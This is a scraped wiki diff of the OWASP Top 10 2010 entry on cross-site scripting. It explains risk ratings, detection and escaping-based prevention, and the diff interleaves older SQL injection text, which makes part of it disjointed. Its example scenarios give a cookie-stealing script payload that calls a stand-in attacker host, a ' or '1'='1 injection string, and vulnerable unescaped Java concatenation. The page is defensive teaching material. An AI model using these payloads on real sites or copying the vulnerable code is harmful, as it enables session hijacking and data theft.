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Difference between revisions of "Wikimedia-Vulnerability"

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| style="text-align: left; border: 2px solid #FFFFFF;" |Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
 
| style="text-align: left; border: 2px solid #FFFFFF;" |Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Attacker sends text- based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from
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|Attacker sends text- based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from
 
| colspan="2" style="text-align: left;border: 2px solid #FFFFFF;" | XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.
 
| colspan="2" style="text-align: left;border: 2px solid #FFFFFF;" | XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.
  
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{{Top_10_2010:SubsectionExampleTemplate|Injection|}}
 
{{Top_10_2010:SubsectionExampleTemplate|Injection|}}
The application uses untrusted data in the construction of the following vulnerable SQL call:
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The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";
 
The attacker modifies the 'id' parameter in their browser to send: ' or '1'='1. This changes the meaning of the query to  return all the records from the accounts database, instead of only the intended customer's.
 
  
http://example.com/app/accountView?id=' or '1'='1
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(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
  
In the worst case, the attacker uses this weakness to invoke  special stored procedures in the database, allowing a  complete takeover of the database host.
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The attacker modifies the ‘CC’ parameter in their browser to:
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'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
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This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF.
 
}}
 
}}
  
{{Top_10_2010:SubsectionReferencesTemplate|Injection|
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{{Top_10_2010:SubsectionReferencesTemplate|XSS|
*[https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet OWASP SQL Injection Prevention Cheat Sheet]
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*[[http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet OWASP XSS Prevention Cheat Sheet]]
*[http://www.owasp.org/index.php/Command_Injection OWASP Injection Flaws Article]
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*[[http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 OWASP Cross-Site Scripting Article]]
* ESAPI Encoder API
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*[[http://www.owasp.org/index.php/ESAPI ESAPI Project Home Page ]]
* ESAPI Input Validation API  
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*[[http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]]
* ASVS: Output Encoding/Escaping Requirements (V6)  
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*[[http://www.owasp.org/index.php/ASVS#tab=Download ASVS: Output Encoding/Escaping Requirements (V6)]]
* OWASP Testing Guide: Chapter on SQL Injection Testing  
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*[[http://www.owasp.org/index.php/ASVS#tab=Download ASVS: Input Validation Requirements (V5)]]
* OWASP Code Review Guide: Chapter on SQL Injection
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*[[http://www.owasp.org/index.php/Testing_for_Data_Validation Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* OWASP Code Review Guide: Command Injection
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*[[http://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting OWASP Code Review Guide: Chapter on XSS Review]]
 
|
 
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*[http://cwe.mitre.org/data/definitions/77.html CWE Entry 77 on Command Injection]
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*[[http://cwe.mitre.org/data/definitions/77.html CWE Entry 77 on Command Injection]]
*[http://cwe.mitre.org/data/definitions/89.html CWE Entry 89 on SQL Injection]
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*[[http://cwe.mitre.org/data/definitions/89.html CWE Entry 89 on SQL Injection]]
 
}}
 
}}
 
<br> {{Top_10_2010:BottomTemplate|usenext=NextLink|next=-Broken Authentication and Session Management|useprev=PrevLink|prev=-Cross Site Request Forgery|usemain=MainLink|main=}}
 
<br> {{Top_10_2010:BottomTemplate|usenext=NextLink|next=-Broken Authentication and Session Management|useprev=PrevLink|prev=-Cross Site Request Forgery|usemain=MainLink|main=}}

Revision as of 23:44, 18 April 2010

NOTE: THIS IS NOT THE LATEST VERSION. Please visit the OWASP Top 10 project page to find the latest edition.

««««
Top 10 Introduction
Top 10 Risks
»»»»
Threat Agents Attack Vectors Security Weakness Technical Impact Business Impacts
______ Exploitability
EASY
Prevalence
VERY WIDESPREAD
Detectability
EASY
Impact
MODERATE
______
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators. Attacker sends text- based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.

Detection of most XSS flaws is fairly easy via testing or code analysis.

Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

Am I Vulnerable to XSS?

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.


How Do I Prevent XSS?

Preventing XSS requires keeping untrusted data separate from active browser content.

  1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.
  2. Positive or “whitelist” input validation with appropriate canonicalization and decoding is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, decode any encoded input, and then validate the length, characters, format, and any business rules on that data before accepting the input.


Example Attack Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in their browser to:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF. }}

References


««««
Top 10 Introduction
Top 10 Risks
»»»»

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